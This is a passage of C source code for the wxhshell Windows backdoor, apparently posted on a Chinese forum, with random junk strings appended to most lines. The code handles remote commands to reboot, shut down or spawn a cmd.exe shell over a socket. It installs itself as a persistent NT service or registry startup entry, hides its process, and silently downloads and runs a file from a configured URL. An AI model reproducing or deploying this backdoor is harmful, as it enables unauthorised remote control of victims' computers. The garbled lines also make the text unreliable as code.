  } A"7YkOfwH  
  // 安装 WR #XPbk  
  case 'i': { lR %#R  
    if(Install()) &4OJJ9S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ar>B_*dr  
    else )|=1;L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V(TtOuv  
    break; I">">  
    } }n&nuaj  
  // 卸载 "bej#'M#  
  case 'r': { +<\LY(o  
    if(Uninstall()) 8[@,i|kgg0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +'m9b7+v  
    else ajycYk9<m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }uDpf0;^  
    break; F$8:9eL,T  
    } bhUE!h<  
  // 显示 wxhshell 所在路径 x@Gg fH<l  
  case 'p': { Y7S1^'E 3  
    char svExeFile[MAX_PATH]; dz@+ jEV  
    strcpy(svExeFile,"\n\r"); nq_$!aB_K  
      strcat(svExeFile,ExeFile); gxO~44"  
        send(wsh,svExeFile,strlen(svExeFile),0); 0o8`Y  
    break; 7X( 2SI3m  
    } ;l%xjMcU  
  // 重启 cpk\;1&t  
  case 'b': { =Z.0-C>W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?eTZ>o.p/  
    if(Boot(REBOOT)) }C @xl9S"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &W>\Vl1  
    else { a?W5~?\9  
    closesocket(wsh); eztK`_n  
    ExitThread(0); QuS=^,]  
    } +j: &_  
    break; qq!ZYWy2  
    }  wp~}1]g  
  // 关机 4Y?fbb<  
  case 'd': { &~eCDlX /  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [lIX&!T"  
    if(Boot(SHUTDOWN)) )y] Dmm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B}04E^  
    else { ILCh1=?{9r  
    closesocket(wsh); al#(<4sJ  
    ExitThread(0); ?J$k 5;  
    } x6K_!L*Fx]  
    break; 2Ug_3ZuU  
    } fOMaTnm'  
  // 获取shell h_ t`)]-  
  case 's': { 3fLdceT  
    CmdShell(wsh); % (h6m${j  
    closesocket(wsh); ;^:8F  
    ExitThread(0); k:n{AoUc  
    break; L/fXP@u  
  } iJOoO"Ai  
  // 退出 xlZh(pf  
  case 'x': { J-+mdA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dh^l :q+c  
    CloseIt(wsh); KF&8l/f  
    break; 9(fh+  
    } \r aP  
  // 离开 8T"L'{ggWB  
  case 'q': { G>pedE\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5!ngM  
    closesocket(wsh); $l)RMP}  
    WSACleanup(); [ DpOI  
    exit(1); C+\z$/q  
    break; MY{Kq;FvRP  
        } "`K_5"F  
  } #reR<qp&]  
  } O4`.ohAZ  
Zs^zD;zU  
  // 提示信息 Q=!QCDO(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tV4yBe<``  
} dZ" }wKbO  
  } 1]>JMh%X9t  
_9D]1f=&  
  return; >W+,(kAS  
} e}O&_ j-  
)T '?"guh`  
// shell模块句柄 -0a3eg)Z*  
int CmdShell(SOCKET sock) ;nh_L(  
{ ],AtR1k  
STARTUPINFO si; At>e4t2@  
ZeroMemory(&si,sizeof(si)); &5jc &CS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lLVD`)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .+2:~%v6  
PROCESS_INFORMATION ProcessInfo; 4qDa: D"5  
char cmdline[]="cmd"; g&RhPrtl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `Zp*?  
  return 0; <Y /3U  
} DaH4Br.2  
W' Y<iA  
// 自身启动模式 {B=64,D^7R  
int StartFromService(void) YeJTB}  
{ E>@]"O)=M,  
typedef struct tM@%EO  
{ KdiJ'K.  
  DWORD ExitStatus; E5gt_,j>  
  DWORD PebBaseAddress; "/O07l1Q<  
  DWORD AffinityMask; 0<A*I{,4L  
  DWORD BasePriority; fC"? r6d  
  ULONG UniqueProcessId; <> HI(6\@Z  
  ULONG InheritedFromUniqueProcessId; D0\*WK$  
}   PROCESS_BASIC_INFORMATION; 7.{+8#~nV  
zKk=R6w  
PROCNTQSIP NtQueryInformationProcess; 6k')12~'  
w)go79  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c9gm%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s'/_0  
/hg^hF  
  HANDLE             hProcess; 11S{XbU  
  PROCESS_BASIC_INFORMATION pbi; `$4wm0G|  
uj}%S_9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y2g)*T!m  
  if(NULL == hInst ) return 0; r,|}^u8`  
U&^(%W#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @0:Eg1-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [C ezz5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Lz9|"F"V  
iMM9a;G+  
  if (!NtQueryInformationProcess) return 0; j~rW 2(  
Q&$2F:4f&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y}}1]}VIK  
  if(!hProcess) return 0; 1"A"AMZf  
T*k{^=6"!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s Wj:m)  
,o2x,I  
  CloseHandle(hProcess); JWM4S4yZHR  
f U<<GK70  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `)=sQ2P  
if(hProcess==NULL) return 0; fuf' r>1n  
Cs]\3R|D`  
HMODULE hMod; J{;\TNkJ  
char procName[255]; FKtCUq,:  
unsigned long cbNeeded; CW@EQ3y0  
;[C_ho  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yqb$,$  
c ]ll89`||  
  CloseHandle(hProcess); )WkN 34Q  
.$&vSOgd(  
if(strstr(procName,"services")) return 1; // 以服务启动 GOCe&?  
k:U%#rb;  
  return 0; // 注册表启动 pcQzvLk  
} 0CeBU(U+|R  
NljcHe}Qy  
// 主模块 !{r@ H+Kf  
int StartWxhshell(LPSTR lpCmdLine) 'cN3Vv k  
{ 9$sx+=(  
  SOCKET wsl; wVv@   
BOOL val=TRUE; R-Tf9?)  
  int port=0; TY+Rol;!  
  struct sockaddr_in door; sEb*GF*.V  
lR ZuXo9<  
  if(wscfg.ws_autoins) Install(); Y,KSr|vG  
q\s>Oe6$  
port=atoi(lpCmdLine); R,hwn2@B  
gfXit$s  
if(port<=0) port=wscfg.ws_port; FYaBP;@J%  
KjV1->r#  
  WSADATA data; +nFC&~q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; of_Om$  
p?s[I)e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `cmzmQC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s|Vbc@t  
  door.sin_family = AF_INET; Y0Rk:Njc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); St3/mDtH  
  door.sin_port = htons(port); )"bP]t^_  
B%co`0$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r+k~%5Ff~  
closesocket(wsl); qaBL  
return 1; DRu#vC  
} Gd2t^tc  
b9 l%5a  
  if(listen(wsl,2) == INVALID_SOCKET) { cS|W&IH1  
closesocket(wsl); J.,7d ,  
return 1; Vg`32nRN  
} yD^Q&1  
  Wxhshell(wsl); c_6~zb?k+m  
  WSACleanup(); h],l`lT1\  
}(UU~V  
return 0; >s%m\"|oh  
/n9,XD&)  
} >@|XY<  
IDt7KJ@hc  
// 以NT服务方式启动 @ ojV8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &~N@M!`Dn  
{ kSqMI'89  
DWORD   status = 0; `Yo!sgPO\  
  DWORD   specificError = 0xfffffff; hRktvO)K  
U'xmn$ O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L8$+%Gvo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m@` NN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oe1$;K>.7  
  serviceStatus.dwWin32ExitCode     = 0; ^' b[#DG>F  
  serviceStatus.dwServiceSpecificExitCode = 0; V%w]HIhq  
  serviceStatus.dwCheckPoint       = 0; x)2ZbIDB:"  
  serviceStatus.dwWaitHint       = 0; MM/D5g  
,6T3:qkkvF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ET=-r  
  if (hServiceStatusHandle==0) return; {r[g.@  
$s9YU"  
status = GetLastError(); "xMnD(p  
  if (status!=NO_ERROR) ,uhOf! |  
{ zqGo7;;#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m^YYdyn]M  
    serviceStatus.dwCheckPoint       = 0; iFB {a?BE  
    serviceStatus.dwWaitHint       = 0; iy,jq5uw  
    serviceStatus.dwWin32ExitCode     = status; j !rQa^   
    serviceStatus.dwServiceSpecificExitCode = specificError; ":Ll. =!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kKNrCv@64d  
    return; 6tT*b@/_o  
  } /U,;]^  
\Q MRuR.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mT#ebeBaf  
  serviceStatus.dwCheckPoint       = 0; gO]jeO  
  serviceStatus.dwWaitHint       = 0; `BKV/Xl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p>0n~e  
} hT$/B|  
MN. $a9m  
// 处理NT服务事件,比如:启动、停止 r| 0wIpi6Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :"~n` Q2[  
{ C1SCV^#  
switch(fdwControl) H1kxY]_/  
{ gK>aR ^*  
case SERVICE_CONTROL_STOP: T.#Vma  
  serviceStatus.dwWin32ExitCode = 0; L 3^+`e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5(&'/U^  
  serviceStatus.dwCheckPoint   = 0; U=\!`_f':  
  serviceStatus.dwWaitHint     = 0; kmF@u@5M  
  { >_LZD4v! <  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^q)s  
  } iz\GahK  
  return; 222Mm/QN  
case SERVICE_CONTROL_PAUSE: bZzB\FB~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qHra9yuSh  
  break; )Vnqz lI5  
case SERVICE_CONTROL_CONTINUE: 2:Q2w3Xe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .0u@PcE:O  
  break; C:@JLZB  
case SERVICE_CONTROL_INTERROGATE: H D{2nZT  
  break; VF] ~J=>i  
}; u(g0Ob  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yM*f}S/ (  
} rIZ^ix-N  
).9m6.%Uk  
// 标准应用程序主函数 -jQM h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n0%]dKCB  
{ pv;ZR  
^+'\ u;\  
// 获取操作系统版本 B@v"giJgr  
OsIsNt=GetOsVer(); ,5HC &@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1wM~),B8  
E)utrO R  
  // 从命令行安装 }  cQ` L  
  if(strpbrk(lpCmdLine,"iI")) Install(); c*HWH$kB  
MWron_xg  
  // 下载执行文件 z~O:w'(g  
if(wscfg.ws_downexe) { hV7]/z!d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AvEd?  
  WinExec(wscfg.ws_filenam,SW_HIDE); S{F'k;x/5  
} U%E364;F  
;7w4BJcq']  
if(!OsIsNt) { cfA)Ui  
// 如果时win9x,隐藏进程并且设置为注册表启动 0L|D1_k[  
HideProc(); QFX )Nov];  
StartWxhshell(lpCmdLine); Cp.qL  
} pLea 4  
else wwD?i.3  
  if(StartFromService()) P\2UIAPa\b  
  // 以服务方式启动 ),]XN#jp(u  
  StartServiceCtrlDispatcher(DispatchTable); g|rbkK%SoE  
else kKEs >a  
  // 普通方式启动 s2ixiv=  
  StartWxhshell(lpCmdLine); c&a.<e3mL  
19.oW49Sw  
return 0; ;ro%Wjg`}  
}
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只看该作者 1 发表于: 2006-10-10
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